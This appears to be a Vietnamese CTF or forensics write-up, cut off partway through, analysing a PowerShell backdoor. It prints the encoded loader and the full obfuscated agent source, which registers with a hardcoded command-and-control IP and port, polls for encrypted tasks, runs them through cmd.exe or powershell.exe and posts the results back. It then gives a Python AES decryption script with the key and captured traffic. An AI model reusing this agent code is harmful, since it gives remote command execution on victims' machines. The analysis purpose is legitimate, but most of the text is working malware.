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' ) , [iO.COmpreSSIOn.cOMPrEssionmode]::decOMpReSS )|% {nEW-OBJeCT Io.StREamreadEr($_,[TEXt.enCoDInG]::AsciI )} ).reAdToENd() ``` Tải file về thì máy báo là file có virus 🥲 nên mình copy rồi dùng cyberchef để decode base64 và giải nén. ```powershell ${8r`T3WA} = [tyPe]("{1}{8}{4}{6}{5}{9}{2}{3}{0}{7}"-F 'd',("{0}{1}"-f 'syS','TEm'),("{1}{0}"-f'ERM','h'),'O',("{0}{1}"-f 'eCUrI','tY'),("{0}{1}" -f 'h','Y.Ci'),("{0}{1}{2}" -f '.cry','P','TOGRap'),'e','.s','p') ;.('SV') ("{0}{1}"-f '72','j5O') ( [TYpe]("{9}{1}{4}{0}{8}{10}{6}{12}{7}{11}{3}{2}{5}" -F 'TY',("{1}{2}{0}" -f 'eC','Yst','em.s'),'Od','m','uri','e','p','Di',("{0}{1}" -f'.','cRY'),'s',("{2}{1}{0}"-f 'Y.','toGRapH','p'),'ng','aD') ) ; ${X`NfD}=[tyPe]("{2}{0}{1}{3}"-f 'te',("{0}{1}"-f'm','.cONV'),'Sys','ErT') ; ${H`LvW1} = [tYPe]("{2}{4}{3}{5}{1}{0}" -f 'iNG',("{0}{2}{1}" -f 't','Od','.EnC'),'S',("{1}{2}{0}"-f '.t','S','tEM'),'Y','EX'); .("{0}{2}{1}" -f'SeT','m',("{0}{1}"-f'-iT','e')) (("{0}{1}"-f 'vA','RI')+("{0}{1}" -f 'a','bLE')+("{1}{0}" -f'y7',':92')) ( [Type]("{1}{2}{0}" -F ("{1}{0}{2}"-f 'NEt.dn','eM.','S'),'Sys','t')) ; ${U`JX`Rc}=[tyPE]("{1}{2}{0}" -F 'nG','Str','i') ;function Cr`EATe-`AeS`manA`GeDo`B`Je`Ct(${vx`ZT`mff}, ${5`T`MRWpLUy}) { ${AJuJ`V`RAZ`99} = .("{1}{2}{3}{0}"-f 't',("{0}{1}" -f'Ne','w-'),("{1}{0}" -f 'e','Obj'),'c') ("{7}{9}{8}{0}{10}{2}{6}{5}{3}{11}{1}{4}"-f 'ty','nag',("{0}{2}{1}" -f 'Cry','o','pt'),'y','ed','ph','gra',("{0}{1}"-f'Sy','stem.'),("{0}{1}"-f 'ecur','i'),'S','.',("{0}{2}{1}" -f'.','sMa','Ae')) ${AJUjvr`AZ`99}."Mo`de" = ( .("{1}{2}{0}" -f 'lE',("{1}{0}" -f't-vA','gE'),("{1}{0}" -f'Ab','RI')) ("8rt"+"3Wa") -Value )::"c`Bc" ${aJuj`V`RAZ99}."PA`d`dInG" = ( .("{0}{1}"-f 'Di','r') ("{2}{3}{0}{1}"-f'le:72j5','o','v','ARIab') )."VA`LUe"::"ze`Ros" ${A`JUJvr`Az`99}."Bl`O`ckSizE" = 128 ${Aju`Jv`RAz`99}."keysI`ze" = 256 if (${5`TM`RWPluy}) { if (${5`TmR`WpLuy}.("{0}{1}{2}" -f ("{1}{0}"-f 'tT','ge'),'y','pe')."iNV`O`ke"()."n`AME" -eq ("{0}{2}{1}" -f 'St','g','rin')) { ${a`j`U`jvRaZ99}."Iv" = (&("{1}{0}"-f'r','di') ("{0}{1}{2}{3}" -f 'va','RI','aB','le:xNFd'))."vAl`Ue"::("{1}{2}{3}{0}"-f 'ing','Fro',("{1}{0}{2}" -f'se','mBa','64'),'Str')."In`VOKe"(${5TMRW`Pl`Uy}) } else { ${ajUj`VraZ`99}."I`V" = ${5tmRw`PL`Uy} } } if (${Vx`ZtM`FF}) { if (${VXz`T`mfF}.("{1}{2}{0}" -f ("{1}{0}"-f'e','Typ'),'g','et')."I`NvoKe"()."n`AME" -eq ("{1}{0}" -f 'ing','Str')) { ${ajU`j`VraZ99}."K`ey" = ( &('LS') (("{0}{1}"-f'V','ariAb')+'l'+("{0}{1}" -f 'e:XN','F')+'D') )."vA`luE"::("{1}{0}{2}{3}"-f'e',("{1}{0}" -f'as','FromB'),'64S',("{1}{0}" -f 'ng','tri'))."invO`Ke"(${vx`z`TmFF}) } else { ${AjU`J`Vr`AZ99}."k`ey" = ${v`Xz`Tmff} } } ${aJUjvRA`Z`99} } function e`N`CRYpT(${VxzT`M`Ff}, ${RO`FPdq`R`F99}) { ${B`y`TES} = ( .("{1}{0}"-f ("{1}{2}{0}"-f 'e','arI','abl'),'v') (("{1}{0}" -f'lvW','h')+'1') )."vAL`UE"::"u`Tf8".("{2}{0}{1}" -f 'yt','es',("{0}{1}" -f 'G','etB'))."INV`o`kE"(${r`O`FpdQRF99}) ${ajujVR`AZ`99} = .("{4}{0}{2}{5}{3}{1}"-f("{1}{0}" -f'-','eate'),'ct','Ae',("{1}{0}" -f'e','edObj'),'Cr',("{1}{0}{2}"-f 'Ma','s','nag')) ${VX`ZtM`Ff} ${qD`IqL`GaQ99} = ${aJuj`VR`AZ99}.("{1}{2}{0}" -f'or',("{0}{1}{2}" -f'Create','En','c'),("{1}{0}" -f 't','ryp'))."in`VoKe"() ${lw`i`hYmIF99} = ${Qd`i`qLgaq99}.("{3}{4}{1}{0}{2}"-f ("{0}{1}{2}"-f 'nal','Bl','o'),("{1}{0}" -f'mFi','for'),'ck','Tra','ns')."i`NvO`Ke"(${b`yTeS}, 0, ${b`y`Tes}."Le`NgTh"); [byte[]] ${f`J`AxUWQ`N99} = ${A`Ju`jvR`Az99}."Iv" + ${lW`iHYmiF`99} ${aj`UJ`V`RAZ99}.("{1}{2}{0}"-f 'e','Dis','pos')."i`NVO`KE"() ${x`NFd}::"tOBase6`4`S`TRi`NG"."i`Nvoke"(${Fj`A`X`UWqN99}) } function deC`Ry`PT(${VXzt`m`FF}, ${b`KJrxQ`Cf`99}) { ${bYT`Es} = (&("{0}{2}{1}" -f'v',("{0}{1}" -f 'i','able'),'AR') ('xnf'+'d') )."Va`luE"::("{3}{1}{2}{0}" -f ("{0}{1}" -f'r','ing'),'o',("{2}{0}{1}"-f'e6','4St','mBas'),'Fr')."InV`OKE"(${Bk`jRx`qcF99}) ${5t`MR`WpLuY} = ${B`Y`Tes}[0..15] ${aJu`JVra`z99} = .("{0}{2}{4}{3}{1}" -f ("{1}{0}"-f'rea','C'),("{1}{0}"-f 'ect','j'),("{0}{1}" -f't','e-Aes'),'dOb',("{0}{1}{2}"-f'Mana','g','e')) ${VxZTm`FF} ${5TMRw`p`LUY} ${MNDm`WYnB`99} = ${AJ`Ujv`RA`z99}.("{4}{0}{2}{1}{3}" -f'ea','ry',("{0}{1}"-f'te','Dec'),("{0}{1}"-f'p','tor'),'Cr')."In`Voke"(); ${A`htL`MYh`l99} = ${M`ND`mWynB99}.("{0}{3}{1}{4}{5}{2}"-f 'T',("{0}{1}"-f 'fo','rmFi'),("{1}{0}"-f'lock','B'),("{1}{0}" -f's','ran'),'na','l')."i`Nvo`kE"(${b`Y`TES}, 16, ${b`yTeS}."lENg`TH" - 16); ${A`J`UjVRAZ99}.("{1}{0}"-f 'se',("{1}{0}" -f 'spo','Di'))."IN`VO`KE"() ${HLV`W1}::"uT`F8"."G`E`TStri`Ng"(${AhtL`m`Y`hl99})."T`RIM"([char]0) } function Sh`ELL(${DfJz`1co}, ${y`o`8xm5}){ ${Cw`zVY`VJ} = &("{1}{2}{0}" -f 'ct','Ne',("{0}{1}"-f 'w-O','bje')) ("{4}{3}{5}{0}{1}{2}"-f ("{5}{2}{0}{3}{4}{1}"-f'P','I','cs.','roc','essStart','i'),'n','fo',("{0}{1}"-f'ys','te'),'S',("{0}{2}{1}"-f'm.Di','st','agno')) ${Cw`ZVy`Vj}."FIlena`me" = ${DFjZ1`co} ${C`W`zvYvj}."r`eDIRec`TsT`AnDaRdERr`OR" = ${T`Rue} ${cwZ`V`YVJ}."ReDIRE`cT`s`TANdar`DoUTPUT" = ${tR`Ue} ${C`WZv`yVJ}."USEs`hELl`eXeC`U`Te" = ${F`ALsE} ${c`wzvy`VJ}."aRg`UmENtS" = ${yO8`x`m5} ${p} = .("{0}{2}{1}" -f'New',("{1}{0}"-f 'ject','Ob'),'-') ("{6}{0}{4}{3}{1}{2}{5}" -f("{1}{2}{0}" -f 'Dia','yst','em.'),("{1}{2}{0}"-f 'P','o','stics.'),'ro','n','g',("{0}{1}" -f 'ces','s'),'S') ${P}."s`T`ArTiN`FO" = ${C`W`zvYVj} ${p}.("{1}{0}" -f("{1}{0}"-f'art','t'),'S')."INvo`KE"() | &("{2}{1}{0}"-f'l',("{1}{0}" -f'Nul','t-'),'Ou') ${P}.("{2}{1}{0}{3}"-f'Exi',("{0}{1}"-f 'tF','or'),'Wai','t')."inv`oKE"() ${BHnxN`Ur`W99} = ${p}."sta`Ndar`dOu`TpUT".("{2}{0}{1}" -f("{1}{0}" -f 'En','To'),'d',("{0}{1}" -f 'R','ead'))."I`NV`OkE"() ${NmWkj`O`A`B99} = ${p}."St`A`N`dArde`RrOR".("{2}{1}{3}{0}"-f'nd','To',("{1}{0}" -f'd','Rea'),'E')."Inv`o`ke"() ${k`C`NjcQdL} = ('VAL'+'ID '+"$BhnXnUrW99`n$nmWKJOAb99") ${K`cnJcQ`Dl} } ${FZvyCr} = ("{0}{2}{3}{1}" -f '12',("{0}{1}{2}"-f '.2','07',("{1}{0}" -f'20','.2')),'8',("{1}{0}"-f'9','.19')) ${t`wFTrI} = ("{0}{1}"-f'7','331') ${VxzTmff} = ("{2}{1}{4}{6}{3}{0}{7}{5}"-f 'XI',("{0}{1}{2}" -f 'w',("{0}{1}" -f 'jM7','m2'),'c'),("{0}{1}" -f 'd','/3K'),'u','GAt','+M=',("{0}{1}{2}" -f'L','I',("{1}{0}"-f("{1}{0}"-f'lhD','7K'),'6')),("{0}{2}{3}{1}"-f("{2}{1}{0}"-f 'KST','XR','/'),'R',("{0}{1}"-f'k',("{1}{0}"-f'lmJ','O')),("{0}{1}"-f 'XE','42'))) ${n} = 3 ${C`w`j2TWh} = "" ${yC`RU`Tw} = ${9`2Y7}::("{2}{0}{1}"-f("{1}{0}{2}"-f't','etHos','N'),'ame','G')."in`VoKE"() ${F`N`FFGXDzj} = "p" ${D`FctD`FM} = (("{0}{1}" -f'ht','tp') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/reg") ${kV`QBXbuR} = @{ ("{0}{1}"-f 'n','ame') = "$YCRUTw" ("{1}{0}"-f 'pe','ty') = "$fNFFGXDZJ" } ${CWj2`TWh} = (&("{4}{3}{2}{0}{1}"-f '-',("{1}{2}{0}"-f't','W','ebReques'),'ke','nvo','I') -UseBasicParsing -Uri ${d`Fct`DFM} -Body ${k`V`qBxbUr} -Method ("{1}{0}"-f'OST','P'))."co`N`TENT" ${TvYM`e`YrR99} = (("{0}{1}"-f'htt','p') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh") ${i`JfySE2} = (("{1}{0}" -f 'p','htt') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh") for (;;){ ${M`A04XM`gY} = (.("{2}{0}{3}{1}{4}" -f'n',("{0}{1}"-f'q','ues'),'I',("{0}{1}{2}" -f 'voke-W','e','bRe'),'t') -UseBasicParsing -Uri ${I`J`FYSE2} -Method 'GET')."cO`N`TeNt" if (-Not ${UJX`Rc}::("{1}{0}{3}{2}"-f 'l',("{0}{1}"-f'IsN','ul'),("{1}{0}{2}" -f 'mpt','rE','y'),'O')."INvO`Ke"(${M`A04XmGy})){ ${m`A04XM`gY} = .("{0}{1}" -f("{1}{0}" -f 'r','Dec'),'ypt') ${V`XZ`Tmff} ${Ma04X`MgY} ${mA0`4X`MgY} = ${ma0`4`XMgy}.("{1}{0}"-f'it','spl')."INv`okE"() ${FL`AG} = ${MA04`x`mgY}[0] if (${Fl`Ag} -eq ("{0}{1}" -f 'VAL','ID')){ ${WB1`SWYo`je} = ${MA04`X`MgY}[1] ${yO8`X`M5S} = ${Ma0`4XMgY}[2..${MA04x`mgY}."LeNg`TH"] if (${wb1s`Wyo`Je} -eq ("{1}{0}"-f'l',("{1}{0}" -f'hel','s'))){ ${F} = ("{0}{1}{2}"-f 'c',("{1}{0}" -f'e','md.'),'xe') ${y`O`8XM5} = "/c " foreach (${a} in ${yo8`xM`5s}){ ${Yo8`x`m5} += ${a} + " " } ${KcNJ`C`QdL} = .("{0}{1}"-f 'sh','ell') ${f} ${yo`8xM5} ${kCnjCQ`DL} = .("{1}{2}{0}"-f 'pt','Enc','ry') ${VxztM`FF} ${kc`Nj`cqdl} ${kvqbX`B`Ur} = @{("{1}{0}" -f 'lt',("{0}{1}" -f 'r','esu')) = "$KcnJCQDl"} &("{3}{0}{1}{4}{2}" -f'ke','-W',("{0}{1}" -f 'qu','est'),("{0}{1}"-f'I','nvo'),("{1}{0}" -f 'bRe','e')) -UseBasicParsing -Uri ${tV`yM`Ey`RR99} -Body ${k`V`QbXbur} -Method ("{1}{0}" -f 'T','POS') } elseif (${Wb1Sw`Y`OJe} -eq ("{1}{0}{2}"-f 'owe','p',("{2}{1}{0}" -f 'l','l','rshe'))){ ${f} = ("{0}{3}{4}{1}{2}" -f ("{0}{1}"-f'p','owers'),'e','xe','he','ll.') ${yO`8X`m5} = "/c " foreach (${a} in ${Y`o8xM5s}){ ${YO8x`m5} += ${a} + " " } ${kc`Nj`cqdL} = &("{0}{1}" -f 'she','ll') ${F} ${yO`8`XM5} ${k`cn`jCQDL} = .("{0}{1}"-f ("{0}{1}" -f 'En','cr'),'ypt') ${vXZT`mfF} ${KCN`jcqDl} ${KVqb`x`BUr} = @{("{1}{0}"-f ("{0}{1}" -f 'es','ult'),'r') = "$KcnJCQDl"} &("{0}{2}{4}{5}{1}{3}"-f'Inv',("{0}{1}"-f 'WebR','e'),'o',("{1}{0}" -f 'st','que'),'ke','-') -UseBasicParsing -Uri ${tvyMEY`R`R99} -Body ${k`V`qBXb`Ur} -Method ("{1}{0}" -f 'OST','P') } elseif (${wb`1swYO`Je} -eq ("{0}{1}"-f 'sl','eep')){ ${n} = [int]${yO`8Xm`5S}[0] ${kV`Q`BXbur} = @{("{0}{1}"-f're',("{0}{1}"-f 'su','lt')) = ""} &("{2}{0}{4}{1}{3}" -f 'o',("{1}{0}"-f 'Re','Web'),'Inv',("{0}{1}"-f'qu','est'),'ke-') -UseBasicParsing -Uri ${tV`Ymeyr`R`99} -Body ${Kv`QBXBur} -Method ("{1}{0}" -f 'T','POS') } elseif (${wb`1sWy`ojE} -eq ("{1}{0}"-f'e',("{1}{0}"-f'm','rena'))){ ${c`wJ2t`Wh} = ${Y`O8Xm`5S}[0] ${TVY`mey`Rr99} = (("{1}{0}" -f'tp','ht') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh") ${ijF`Ys`E2} = (("{1}{0}"-f'ttp','h') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh") ${kV`Qb`XbUr} = @{("{1}{0}" -f'lt',("{1}{0}" -f 'esu','r')) = ""} .("{0}{1}{4}{2}{3}" -f 'Inv',("{0}{1}{2}" -f'ok','e-','WebR'),'qu','est','e') -UseBasicParsing -Uri ${TVY`mEyR`R`99} -Body ${KvqBxb`Ur} -Method ("{1}{0}"-f 'OST','P') } elseif (${w`B1s`WYOJe} -eq ("{0}{1}" -f 'qu','it')){ exit } } .("{1}{0}"-f 'p',("{0}{1}"-f'sl','ee')) ${N} } } ``` Mình up code đã được deobf ở đây: [link](https://gist.github.com/winndy112/98301e8b602a4e83b61f4b2ce059f811) Flow quan trọng của bài này là nó sẽ lấy `$content` bằng HTTP GET tới địa chỉ ip và port cho trước (điều khiển bởi attacker) với uri là `/task/....` Script này decrypt task và tác vụ sau thực hiện sau khi giải quyết task. ```python= import base64 from Crypto.Cipher import AES def Decrypt(Key, ciphertext): ciphertext_bytes = base64.b64decode(ciphertext) iv = ciphertext_bytes[0:16] ciphertext_data = ciphertext_bytes[16:] aes = AES.new(Key, AES.MODE_CBC, iv) plaintext = aes.decrypt(ciphertext_data) plaintext = plaintext.rstrip(b'\x00') decrypted_data = plaintext.decode('utf-8') return decrypted_data tasks = ["RrzBf9o5vTBf+vInYW3OTzBvvNIWSyyKsx6v25jOD9roPGP4gOhaHPc/u7l804cs", "tp4pZ9OgpI9uxr4sNupHQJE5hBlTVd7NbIK21rjApBf15tj9AuNo6OU/zJ/K3REi", "bK2FX23ydWGbJNdJliRrDqjOE17p1YakRt2cjgaRJJv0zAVVro+Gq1waD0ui+lCe", "uGjyY6GcnabYem8450v+e256asufK4JUhfW5/KQfyPeAIkmBiQcwBoQbI8z7v9NLyH9Gwi4k6ViFL0nMTCGGWS0TSS6vqWRHa4ADkfcaVFhcjLmBV23dnOfSoCGUWzCg4TBcpDtc+C4QOc/v+dZSL2ytww2c8+pY1dGwth89dVWej8qifotdP0I9p3f/WNCf", "rQp9Lo1Cuh3mvS45DF0m5ZG1lhW4/Jb7T608IpAS5GwBurTGeJ5oomIhg1jHo1x4dLqcRnsNYqKU7cj8gGXkQA==", "eq/gZMmuX1cPWZYJ9iQcSi3P1KYsOFCwdkD/L8i6HSGn7yWmXk8YxGN96VndokXT"] key = "d/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M=" key = base64.b64decode(key) decrypt_task = [] result_post = ["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", 